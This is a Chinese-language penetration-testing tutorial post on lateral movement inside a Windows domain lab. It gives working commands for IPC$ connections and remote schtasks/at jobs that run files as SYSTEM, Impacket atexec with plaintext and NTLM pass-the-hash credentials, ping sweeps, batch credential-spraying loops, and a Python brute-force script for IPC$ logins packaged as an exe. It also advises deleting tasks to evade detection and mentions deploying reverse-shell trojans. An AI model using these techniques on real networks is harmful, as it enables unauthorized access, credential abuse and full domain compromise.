66内网安全-域横向批量at&schtask&impacket

66内网安全-域横向批量at&schtask&impacket_第1张图片

域环境下面的传递工具,分为两类。一个是传递一个是漏洞,

传递的第一个协议at&schtask

这里老师给了每一个靶机的账户以及密码,观察一下其规律性,

案例一横向渗透明文传递 at&schtasks

在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息(明文密码或者hash值)后,如何横向渗透拿下更多的主机?

at&schtasks,这两条命令可以在已知的目标系统上面获取到明文密码的基础上,可以直接在目标主机上远程执行命令,

获取某主域主机权限,》利用mimikatz得到密码或者hash值,》用到信息收集里面的域用户的列表当作用户名字典,用到密码明文当密码字典;》尝试连接;》创建计划任务at&schtasks;执行文件可为后门和相关命令

利用流程

简历ipc链接到目标主机

拷贝要执行的命令脚本到目标主机

查看目标时间,创造计划任务(at&schtasks)定时执行把脚本拷贝到目标主机

删除ipc链接

建立 IPC 失败的原因

---(1)目标系统不是NT 或以上的操作系统(win2003以上)

---(2)对方没有打开IPC$共享

---(3)对方未开启139、445 端口,或者被防火墙屏蔽

---(4)输出命令、账号密码有错误 

at是针对windwos操作系统版本小于2012的主机

66内网安全-域横向批量at&schtask&impacket_第2张图片

现在我们已经获取到了网站服务器的权限,就是这个webserver,探针到了域控的ip是192.168.3.21

注意;这里不是域控的用户没有办法访问域的有关东西,

假设已经知道了域控的密码,(mimikatz获取,hash等等);开始渗透

66内网安全-域横向批量at&schtask&impacket_第3张图片

然后我们现在,创建好我们的攻击脚本,这是一个创建用户的命令,这是做测试用到;在实战情况下,这个多半是木马比如msf木马,放上去执行之后就会成功的上线,反弹一个shell过来,

复制文件过去,设置计划任务

66内网安全-域横向批量at&schtask&impacket_第4张图片

25分之后查看域控的用户

66内网安全-域横向批量at&schtask&impacket_第5张图片

这就一个创建出来的小迪用户

schtasks是针对操作系统版本大于等于2012的主机

在操作系统大于2012的主机上,运行这个at就会提示改用schtasks,

先建立ipc链接

66内网安全-域横向批量at&schtask&impacket_第6张图片

之后就是上传文件

建 adduser 任务对应执行文件

schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F

---创建一个以system权限的,名为adduser的,时间为每日任务(延时执行),执行文件c:\add.bat的,计划任务

 

到执行计划任务时间之后查看

66内网安全-域横向批量at&schtask&impacket_第7张图片

#为了不让对方发现,删除 adduser 任务

--- schtasks /delete /s 192.168.3.32 /tn adduser /f 

这个前提条件是获取到了账户的明文密码,但是我们得到的可能不是密码,也可能是hash值,如果我们获得是hash值,上面这两个命令就不能用hash值执行,

案例二横向渗透明文 HASH 传递 impacket 

所以我门就会借助一个工具包, impacket  

---atexec是Impacket网络协议工具包中的一个工具。Impacket工具包介绍:https://www.freebuf.com/sectool/175208.html

这里老师下载的exe版本,在内网里面肯定要exe版本,

下载地址:https://gitee.com/RichChigga/impacket-examples-windows/repository/archive/master.zip

这个工具的使用也非常简单, 

-连接域控本地administrator,发现是system权限

atexec.exe ./administrator:[email protected] "whoami"

66内网安全-域横向批量at&schtask&impacket_第8张图片

直接是系统权限,自带提权,因为他这个是计划任务。和正确计划任务提权的原理一样,

他也支持hash值的传输,把参数改一下就行

atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] "whoami" 

优点;方便快捷,自动提权,缺点;不是自带的,有杀软干扰,要做一下免杀,

案例三横向渗透明文 HASH 传递批量利用-综合

上一个案例是假设的已经拿到了账户密码

而这个案例就讲解一下全过程,这里就只有webshell权限,

先打开mimikatz,获取肉鸡的密码

66内网安全-域横向批量at&schtask&impacket_第9张图片

然后用系统自带的命令,去ping内网的其他主机的ip,

66内网安全-域横向批量at&schtask&impacket_第10张图片

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

66内网安全-域横向批量at&schtask&impacket_第11张图片

然后排除这个肉鸡的ip,

然后我们就可以根据在肉鸡获取到的密码,我们就可以写个脚本去测试,去批量检测在这个域里面的使用几率,

FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami

ips.txt就是存放域ip的文件,然后循环个这个i值,然后用到 atexec.exe 去链接目标主机本地的administrator用admin!@#45作为密码去链接,后门这个变量i也是传输ip值,实现ip的多检测,执行whoami命令

atexec.exe ./administrator:[email protected] "whoami"

原型命令是长这样的

66内网安全-域横向批量at&schtask&impacket_第12张图片

这有一个ip就返回的系统权限,

这就说明这个ip的管理员用户采用的密码是同一个密码,

然后就可以利用这个执行命令,就执行一个反弹或者后门,又因为本身就是系统权限,提权都不用了。直接上线一个系统权限肉鸡,66内网安全-域横向批量at&schtask&impacket_第13张图片

然后在执行mimikatz又获取打了一些密码,把密码写到密码字典,在以字典形式去测试,就这样反复收集信息测试,在执行刚刚的命令

66内网安全-域横向批量at&schtask&impacket_第14张图片

这个ip有返回的系统权限,这个ip是域控ip,拿下域控权限,任务完成

这个就是通过一个webshell服务器的密码,探针到了一个办公pc端,再接着扩充自己的密码字典,又就

FOR /F %%i in (ips.txt) do net use \%%i\ipc$ “admin!@#45” /user:administrator #批量检测IP对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami
#批最检测IP对应明文回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%[email protected] whoami
#批量检测明文对应IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i./[email protected] whoami #批量检测HASH对应IP回显版

横向渗透明文 HASH 传递批量利用-升级版 

py有第三方库,可以把写的脚本打包成exe,而且在免杀这个专题里面,用python做免杀也是很多的,用c语言写也可以,易语言写的简单方便,用易语言写的程序很多都容易被干掉,他有那个误报,用C语言写会比较好,用C语言写大家都不懂,因为大家都没有学过C++这门语言,这个时候py的优点就突出来了,我们就不用考虑脚本,对方装没装这个py脚本,常规来讲,我们都是在写py文件,用py来运行他,但是py也支持打包成exe,自己装个库就完事了

然后我们想,用户名和密码和hash值同时作为字典,三个参数一起变,这效率可高多了,但是老师不会写php的就写了给python的任何打包成了exe文件,

python代码

net use \\192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin
 
#pip install pyinstaller
#pyinstaller -F fuck_neiwang_001.py 生成可执行EXE
 
 
import os,time
ips={
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.31',
    '192.168.3.33'
}
 
users={
    'Administrator',
    'boss',
    'dbadmin',
    'fileadmin',
    'mack',
    'mary',
    'adm',
    'webadmin'
}
passs={
    'admin',
    'admin!@#45',
    'Admin12345'
}
 
for ip in ips:
    for user in users:
        for mima in passs:
            exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
            print('--->'+exec+'<---')
            os.system(exec)
            time.sleep(1)

用域用户名链接的时候用户名的后门要跟上:god,因为不是本地用户

用户名字典就是用查看所有域用户名收集出来的,

这个代码嵌套了三个循环,然后构造好攻击语句,等于exec,之后在打印exec,并延时一秒避免崩溃,

安装好插件之后会打包一个exe文件

然后把python文件放到这个目录,

就会生成到这个目录下面

66内网安全-域横向批量at&schtask&impacket_第15张图片

然后上传到肉鸡,直接运行这个exe文件

66内网安全-域横向批量at&schtask&impacket_第16张图片

等他出来运行结果就可以了,然后这里能连接上的,就可以执行案例一的操作,进行计划任务,

执行完之后,执行一个net use  查看域的链接

66内网安全-域横向批量at&schtask&impacket_第17张图片

就能知道那些ip的密码被爆破成功了

攻击不成功的原因:防火墙,把139、445端口屏蔽了,外部无法链接;

fa

cai

你可能感兴趣的:(安全)